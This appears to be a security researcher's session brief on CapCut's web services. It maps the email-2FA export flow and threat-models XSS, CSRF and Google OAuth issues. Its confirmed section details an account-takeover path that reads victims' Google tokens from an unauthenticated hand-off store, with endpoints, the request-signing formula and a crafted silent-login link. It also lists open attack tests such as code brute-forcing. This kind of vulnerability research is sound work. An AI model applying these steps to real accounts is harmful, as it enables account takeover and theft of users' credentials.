Back on CapCut, picking up where session 09 left off. The goal for the day is to complete the CapCut hunt map, every feature branch threat modeled and every TODO run to a verdict.
This page is the brief for the session, not a finished recap. Results, verdicts and takeaways get written in as we actually run them, in discovery order, nothing claimed before it is proven.
Confirmed Proven on the target. The source does not give a rating.
Not rated Lab model or lead. It is not proven on the target.
Info Groundwork. No security effect is claimed.
Scope
Session
Asset www.capcut.com · edit-api-sg.capcut.comGoal complete the CapCut mapFirst the email 2FA on /dyd-download/verifyDate 2026-11-15
Passport API
www.capcut.com, /passport/web/email/*
Export API
edit-api-sg.capcut.com, /dyd/v1/download_*
Login bundles
sf16-web-login-neutral.capcutstatic.com
Hand-off store
feed-api.capcutapi.com and feed-api-sg.capcutapi.com
Account
Our own account
Where each test ran
Live on the target: sections 00 to 04, the four requests captured on our own account
Live on the target: section 06, one unsigned request to login_only
Live on the target: section 07, token capture on our own account
Read only: section 05, a code read, not fired live
Read only: section 06, the login bundles
Not started: the last step of section 07, and every test in Open items
Findings
Each card is one result. The number is the section number of the original recap. The original sequence diagrams are in Evidence.
00Infotested live · download your data · https://www.capcut.com/dyd-download/verify
The 2FA in front of the export
Target
The page /dyd-download/verify on www.capcut.com, the passport API, and edit-api-sg.capcut.com.
Impact
Before the export downloads, CapCut stops on /dyd-download/verify and asks for a code mailed to the account's email. Four requests across two hosts: two to the passport API on www.capcut.com mint a ticket, then two to edit-api-sg.capcut.com trade that ticket for a short JWT and the JWT for the zip. The ticket is the piece that matters, it is the only thing carried from the 2FA half into the download half.
Steps
Flow chart 1How does the email code lead to the zip?
Start or end
Action
Step number
the browser, /dyd-download/verifyStep 1 of the source. send_code, type=33 goes to /passport/web/email/* on the passport API
www.capcut.comIt returns the email_ticket. The code is mailed to the inbox
the browserStep 2 of the source. The user reads the code from the inbox. The browser posts verify, code=313d30313d30
www.capcut.comIt returns the ticket and a d_ticket cookie, one year
the browserStep 3 of the source. get_download_token?ticket=…&sms_ticket=false goes to a second host
edit-api-sg.capcut.comIt returns an HS256 JWT, 120 s, and the download_api path
the browserStep 4 of the source. retrieve_data_with_token?token=JWT
edit-api-sg.capcut.comIt returns application/zip with user_data_capcut.json
Mapped. The source gives no verdict for this section. It maps the four requests.
01Infotested live · www.capcut.com · passport API, session cookie plus the passport CSRF header
send_code, request the OTP
Target
POST /passport/web/email/send_code/ on www.capcut.com.
Impact
No email address in the request, the server picks it from the session.type=33 names the scene, the reason the code is being sent. The email_ticket that comes back is not sent in step 2, so the verify call is keyed on the session, not on this value.
Steps
The request asks the server to mail a code. The server answers with an email_ticket.
HTTP/2 200 OK
...
{"data":{"email":"y***[email protected]","email_ticket":"QC6G4YREKUF64QGHAEUC7YFEUBPWC7M6"},"message":"success"}
Status
Captured. The source gives no verdict for this request.
02Infotested live · www.capcut.com · the code goes up encoded
verify, the code for a ticket
Target
POST /passport/web/email/verify/ on www.capcut.com.
Impact
The ticket VTISGORU64UZD95AQJQZUUJFTFMG9T6VBCRWRQ is what we care about. It is the proof the 2FA passed, and the next request carries nothing else to show for it. Alongside it comes a d_ticket cookie scoped to all of .capcut.com with a one year Max-Age.
Steps
mix_mode=1 is encoding, not protection.313d30313d30 is hex for 1=01=0, and each byte XOR 5 gives 485485, the six digit code from the email. Every byte of the code is XOR 5 then hex, so anything we want to send in code has to go through the same transform first.
Captured. The source gives no verdict for this request.
04Infotested live · edit-api-sg.capcut.com · the download_api from step 3, token in the URL
The JWT for the zip
Target
POST /dyd/v1/download_your_data/retrieve_data_with_token on edit-api-sg.capcut.com.
Impact
The source gives no impact sentence for this step. The last note in Steps says what the capture does not show.
Steps
The export comes back in this response, a 926 byte zip with one file, user_data_capcut.json
The JWT is again the only parameter, in the query string, empty body, same as the ticket in step 3
Fired at 13:50:27, two seconds after the token was minted at 13:50:25, inside its 120 second window
The browser sent the full cookie jar, sessionid included, so this capture does not tell us whether the session is checked here or the token alone opens the file
HTTP/1.1 200 OK
Content-Type: application/zip
Content-Length: 926
Content-Disposition: attachment; dyd export data
Access-Control-Allow-Origin: https://www.capcut.com
Access-Control-Allow-Credentials: true
...
PK...user_data_capcut.json...PK...
Status
Open. The capture does not show if the session is checked here. See Open items.
05Not ratedread · www.capcut.com/dyd-download/download_with_token · threat model on a code read, not fired live yet
DOM XSS threat modeling, the blob download
Target
The SPA route www.capcut.com/dyd-download/download_with_token.
Impact
Content is the key, and both locks are on type and handling. A same-origin blob with a download attribute is saved in Chrome, Firefox and Safari, and even if it were navigated, application/octet-stream is downloaded and never sniffed into HTML. Saving it as a .zip to disk and opening it gives file://, not capcut.com. So, by the code, this sink does not render, and the DOM XSS stops here unless one of these turns out wrong when fired live:
Steps
The download half has its own SPA route. It reads token and download_api straight off the query string, fetches https://<download_api>?token=<token>, and turns whatever comes back into a blob and a download. There is no allowlist on download_api, only an https:// prefix added when missing, and the CSP's trusted sources are generous enough to reach a host we control. So the response body is ours, which makes this a source we fully control flowing into a blob sink.
js
// route /dyd-download/download_with_token
t = params.get("token")
a = params.get("download_api")
i = a && a !== "undefined" ? decodeURIComponent(a) : webDomain + "/dyd/v1/download_your_data/retrieve_data_with_token"
M = "CapCutExportData_" + date + ".zip"// filename, built in the clientif (!i.startsWith("https://")) i = "https://" + i // the only check on the host
s = awaitfetch(i + "?token=" + encodeURIComponent(t), {credentials: "include", method: "POST",
headers: {"Content-Type": "application/json"}})
o = await s.blob()
ef()(o, M) // the download helper, called with 2 args
The helper is the js-file-download shape, (data, filename, mime, bom):
js
var o = newBlob(void0 !== a ? [a, e] : [e], { type: r || "application/octet-stream" });
...var n = URL.createObjectURL(o), s = document.createElement("a");
s.href = n;
s.setAttribute("download", t);
void0 === s.download && s.setAttribute("target", "_blank");
document.body.appendChild(s); s.click();
setTimeout(() => { document.body.removeChild(s); URL.revokeObjectURL(n) }, 200);
Two locks, one key
What a blob XSS needs is a blob:https://www.capcut.com/... URL that the browser renders as HTML instead of saving. The working payload in the console does exactly that with type: "text/html" and target="_blank". Here the route decides both of those, not the response:
We control
The bytes, the whole response body becomes the blob content
The host and path, through download_api
The query string, through download_api plus token
The response headers, CORS included, since the server is ours
The route fixes
The blob type: mime is never passed, so r is undefined and the type is application/octet-stream. new Blob([o], ...) also throws away the response's own Content-Type
The download attribute: always set, with CapCutExportData_<date>.zip built in the client
The target="_blank" branch only runs where a.download is unsupported, no current browser
The blob URL is revoked after 200 ms and its UUID is never exposed
These cases could still make the sink render:
A browser or embedding that drops the download attribute and navigates instead of blocking, for example a sandboxed frame without allow-downloads, which in Chrome blocks the download rather than rendering it
The in-app web view path (isInapp, session 09), where downloads are handled by the app bridge and may open the blob in the web view
Another caller of the same helper in the SPA that does pass mime or a filename from the response
The pivot, the request half
When the sink is dead, look at what the source already gives you. This route makes the victim's browser send a credentialed POST from https://www.capcut.com to any https URL we name, with our path and query and an empty body. Pointed back at a CapCut host, the request carries the victim's same-site cookies and a trusted Origin, which is exactly what an Origin or SameSite based CSRF defence checks for:
url
https://www.capcut.com/dyd-download/download_with_token?token=x&download_api=edit-api-sg.capcut.com/<path>%3F<params>
-> POST https://edit-api-sg.capcut.com/<path>?<params>?token=x
Cookie: ...victim session...
Origin: https://www.capcut.com
Content-Type: application/json, empty body
The useful targets are POST endpoints that act on query parameters alone and do not want a CSRF header. Passport wants X-Tt-Passport-Csrf-Token, which this fetch does not send, so passport is out. The edit-api-sg calls seen so far sent no CSRF header at all
The response is not ours to read, it lands on the victim's disk as the fake .zip, so this is a write primitive, not a read
Pointed at our own host, the same route serves attacker bytes as a CapCut export download from capcut.com, file spoofing, low on its own
Evidence
The code and the URL sit in Steps, next to the text that explains them.
Status
Open. The source read the code only. The tests are in Open items.
06Not ratedread · www.capcut.com · methodology first, the auth skill, Step 1 fingerprint, read from the login bundles
Google OAuth, three doors into one endpoint
Target
www.capcut.com, the login bundles on sf16-web-login-neutral.capcutstatic.com, and POST /passport/web/auth/login_only/.
Impact
Google saying a token is valid is not the same as the token being for CapCut. tokeninfo accepts any valid Google token for any client. What decides account takeover is whether CapCut then checks aud / azp equals its own Login client. If it does not, every site with a "Sign in with Google" button collects tokens that log in to CapCut as the visitor.
Steps
Already logged in, so /login bounces to My projects. Instead of logging out, the login page's own bundles were pulled from sf16-web-login-neutral.capcutstatic.com and grepped for accounts.google.com, redirect_uri and the passport routes. There are three ways in with Google, and all three end at the same backend call, POST /passport/web/auth/login (or login_only), with platform_app_id=1773.
random state and nonce, the callback hands the tokens to the opener through localStorage key __thirdPartyCallbackResult__
sends access_token + id_token
One Tap and the Google button
Google Identity Services, the g_state cookie
the ID token, credential, is sent as access_token_secret
no redirect, no state, the browser gets the JWT straight from Google
third door, signinWithWindow, a passport-run redirect flow, not read yet
js
// 53415.js, the popup flow
r = { response_type: "token id_token", client_id: e,
redirect_uri: `${location.origin}/third-party-callback`,
scope: "openid .../userinfo.profile .../userinfo.email",
prompt: "select_account", nonce: tN(), state: t }
// thensigninWithCode({ name: "google", platform_app_id: k, access_token: e, id_token: t, login_only: h })
The same Google project, 87571557143, ships four clients in the bundle: Login, GoogleDrive, GoogleContacts, YoutubeShare. A fifth, 1093504901008-cmpv0g…, belongs to BOE, ByteDance's internal test environment, with its own platform id 200257.
How the backend checks the token
One unsigned request, no cookies, a junk JWT, straight to production:
http
POST /passport/web/auth/login_only/?aid=348188&account_sdk_source=web
Content-Type: application/x-www-form-urlencoded
platform_app_id=1773&access_token_secret=eyJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJodHRwczovL2FjY291bnRzLmdvb2dsZS5jb20iLCJhdWQiOiJ4In0.c2ln
No request signing needed, no X-Bogus, no msToken, no cookie, the endpoint answers
The backend forwards the token to Google and reflects Google's answer.{"error_description": "Invalid Value"} is Google's tokeninfo reply, so validation is delegated to Google
The same reply for access_token and access_token_secret, so both fields reach the same check
platform_app_id=200257, the BOE platform, gets Platform is invalid on production
Drive linking, a state you can compute
The cloud storage connectors, Google Drive and Dropbox, run a separate code flow, and build state like this:
pseudo
state = window.__uid_sha || sha256(uid).slice(15, 47)
redirect_uri = https://<host>/lv/v1/user/web/third_party_clouds_authorization/google_drive
The state is a hash of the user id, not a random value bound to the flow.window.__uid_sha is not set on /my-edit, so the fallback runs. For this account it is 8cf11722da485bb70b98bf81c48ab10c, computable by anyone who knows the uid. If the callback accepts that state, the classic linking CSRF is open: the attacker authorises their own Drive, stops before the callback, and sends the victim /lv/v1/.../google_drive?code=<attacker code>&state=<victim state>. The victim's CapCut is then connected to the attacker's Drive.
Threat model
Client confusion, the token's aud: mint a Google ID token and access token for our own account through another client (OAuth Playground) and send it to login_only. A login means any third-party Google site can take over CapCut accounts
Token type and client swaps inside CapCut: a Drive or Contacts client token sent to login, an access token in access_token_secret, an ID token in access_token
Drive and Dropbox linking CSRF: callback with our computed state and a code minted in another session
Nonce never reaches the backend: the popup sends id_token without the nonce it generated, so a leaked ID token replays until exp
Callback hand-off through localStorage: the opener also accepts the bare key with no attemptId, a login CSRF shape, and any XSS on www.capcut.com reads the tokens there
Email merge: bind_with_email_login when the Google email matches an existing CapCut email account, test a Google account whose email is not verified
signinWithWindow: the passport redirect flow, its next and redirect handling, not read yet
Evidence
The code and the requests sit in Steps, next to the text that explains them.
Status
Open. The source read the bundles and sent one unsigned request. The threat model tests are open.
07Confirmedtested live · www.capcut.com/lvpc_web/login_status · the desktop app flow, tested to silent token capture on our own account
Desktop Google login, account takeover via the hand-off store
Target
www.capcut.com/lvpc_web/login_status, feed-api.capcutapi.com and feed-api-sg.capcutapi.com.
Impact
The app hands its Google login to the browser and waits for the result. The browser result is dropped into a server-side bucket keyed by an id the attacker fully controls, and the bucket is read back with no cookie and no auth. So the attacker picks the id, sends the victim a prompt=none Google link, and reads the victim's Google code, id_token and access_token straight out of the bucket. The tokens are minted for CapCut's own desktop client, the credential its login consumes, so capturing them is the takeover primitive. The one step we did not run is trading the code for a live session, called out below.
Steps
state is unsigned, and the lookup key is JSON.parse(state.state).id, a client-chosen uuid
login_status posts the result to feed-api.capcutapi.com/lv/v1/oauth/update_auth_query_params under that id
get_auth_query_params returns it to anyone who sends the same id, the only "sign" is an md5 of a fixed string plus a timestamp, computed in the browser
prompt=none makes it silent for any victim who has used CapCut desktop, no consent screen. authuser=0 pins it to their primary Google account
The intended flow
The same thing as it looks in Burp, the real hosts and requests. The app invents an id, drives the browser through Google, the login page drops the result into the store under that id, and the app polls the store with the id it chose, then trades the code for a session.
Flow chart 2How does the desktop app get the Google tokens?
Start or end
Action
Step number
the desktop appStep 1 of the source. Open the authorize URL, state.id = APP id
the browserStep 2 of the source. GET /o/oauth2/v2/auth, response_type=code token id_token
accounts.google.comThe user signs in, consents
the browser302 to /lvpc_web/login_status#code&id_token&access_token
www.capcut.comStep 3 of the source. GET /lvpc_web/login_status, tokens in the #fragment
feed-api.capcutapi.comStep 4 of the source. POST /lv/v1/oauth/update_auth_query_params with {id, code, id_token, accessToken, userID}. The reply is {ret:0, success}
the desktop appStep 5 of the source. POST /lv/v1/oauth/get_auth_query_params with {id: APP id}, no cookie. The store returns {query_params: code, id_token, access_token}
passportStep 6 of the source. Exchange the code for a session, passport auth/login. This step was not run in our test
The requests, step by step
The real packets. User tokens and signatures trimmed to ..., cookies dropped where present. Two faces of the store matter: the web login page writes to feed-api.capcutapi.com with a trivial md5 sign and no cookie, the desktop app polls feed-api-sg.capcutapi.com with native TTNet signing. The attacker reads the web face, so none of the native signing is in the way.
1The app builds the authorize URL and opens the browsernative
The app generates the id and puts it inside the unsigned state.
pseudo
state = {"client_id":"128657643583-as9ej...","network":"google",
"redirect_uri":"https://www.capcut.com/lvpc_web/login_status",
"state":"{\"device_platform\":\"mac\",\"id\":\"<APP uuid>\"}"}
2Browser asks Google, user signs in, Google redirects back with the tokens in the fragmentaccounts.google.com/o/oauth2/v2/auth
http
GET /o/oauth2/v2/auth?client_id=128657643583-as9ej...apps.googleusercontent.com
&response_type=code+token+id_token&scope=openid+profile+email
&redirect_uri=https://www.capcut.com/lvpc_web/login_status
&prompt=consent&nonce=...&state=<unsigned JSON from step 1> HTTP/2
Host: accounts.google.com
Cookie: ...google session...
http
HTTP/2 302 Found
Location: https://www.capcut.com/lvpc_web/login_status
#state=...&iss=https://accounts.google.com&code=4/0A...&access_token=ya29...&token_type=...&expires_in=3599&scope=...&id_token=eyJ...&authuser=0&prompt=consent
3Browser loads the success page, the fragment stays client sidewww.capcut.com/lvpc_web/login_status
The #fragment is never sent to the server. The page's JS reads it, pulls JSON.parse(state.state).id, and makes step 4.
http
GET /lvpc_web/login_status HTTP/2
Host: www.capcut.com
4login_status writes the result into the store, keyed by the idfeed-api.capcutapi.com/lv/v1/oauth/update_auth_query_params
The web face, no cookie, the only guard is sign = md5("9e2c|"+path[-7:]+"|0||"+ts+"||11ac") computed in the page.
HTTP/2 200 OK # still polling, not written yet
{"ret":"1544","errmsg":"auth query params is empty","svr_time":...,"query_params":""}
HTTP/2 200 OK # once step 4 has written
{"ret":"0","errmsg":"success",
"query_params":"code=4/0A...&platform=google&id_token=eyJ...&userID=10195...&accessToken=ya29..."}
The attacker skips the native face entirely. On feed-api-sg the query_params comes back encrypted, a long opaque blob the app decrypts in-client, which is why the native value looks unreadable. The web host feed-api.capcutapi.com returns the same record in plaintext, readable code, id_token and accessToken, with the step 4 md5 sign and no X-Gorgon, no cookie. So the encryption guards only the native face, the attacker reads the web face and sends just that one request with the id they chose.
6The app trades the Google code for a CapCut session/passport/web/auth/login
The desktop app makes this natively, so it is not in the browser's Burp trace. The web analogue, same platform_app_id=1773, carrying the Google token from step 5:
http
POST /passport/web/auth/login/?aid=348188 HTTP/2
Host: www.capcut.com
platform_app_id=1773&code=4/0A...&id_token=eyJ...&access_token=ya29...
http
HTTP/2 200 OK # expected shape, this exchange was not run in our test
{"message":"success","data":{"user_id_str":"...","session":"..."}}
The attack
Flow chart 3How does the attacker read the victim tokens?
Start or end
Action
Attack path
Step number
the attacker, picks the idStep 1 of the source. Craft link, state.id = ATK
the victim, browser on GoogleStep 2 of the source. Open /authorize, prompt=none
GoogleThe reply is code, id_token, token, no screen
the victim, browserStep 3 of the source. login_status posts them, keyed by ATK id
CapCut, login_status + storeThe store keeps the tokens under the attacker id
the attackerStep 4 of the source. get_auth_query_params(ATK id), no cookie. The reply is the victim code + id_token(aud=CapCut) + access_token
Full write-up and PoC scripts in the hunt folder, vulnerabilities/vuln-1-google-oauth-handoff/report.md.
The ticket is the hinge, then the JWT. Steps 1 and 2 happen on the passport API, steps 3 and 4 on a different host. Step 3 gets only the ticket as proof the 2FA happened, step 4 gets only the JWT, both in the query string.
E2The intended flow diagramkept as drawn · the desktop login as seen in Burp
Everything hangs on the id staying the app's secret. Step 4 writes to feed-api.capcutapi.com and the app polls feed-api-sg.capcutapi.com, both with no cookie, so the store trusts the id alone. The attack below keeps every request the same and only changes who chose the id.
E3The attack diagramkept as drawn · the account takeover sequence
The store is the whole bug. It trusts a key the attacker chose and answers without a session, so step 4 reaches it straight from a shell. Confirmed to here on our own account with prompt=none and prompt=none&authuser=0. The last step, trading the captured code for a live CapCut session, was not run.
●
Open items
Open questions
Is the ticket bound to the session that minted it? Account A's ticket sent with account B's sessionid to get_download_token, which file does the JWT name
Does retrieve_data_with_token need the session at all? Replay step 4 with no cookies inside the 120 seconds. If the zip still comes back, the JWT alone is the key to the export
If the session is checked in step 4, is it checked against the uid inside download_file, account A's JWT with account B's cookies
Can the same JWT be used twice inside its window
Fire download_with_token with download_api on our host serving an HTML body with Content-Type: text/html, confirm the blob is saved, not rendered, in Chrome, Firefox and Safari
Same in the in-app web view, does the app bridge open the blob instead of saving it
Every other caller of the download helper in the SPA, does any pass mime or a filename from the response
edit-api-sg POST endpoints that change state from query parameters alone, the targets for the credentialed POST gadget
What sms_ticket=true does with the same ticket, or with the email_ticket from step 1 in its place
Rate limit on /passport/web/email/verify/, six digits, XOR 5 then hex
Is the ticket single use, and how long does it live
Does the one year d_ticket cookie let a later export skip the code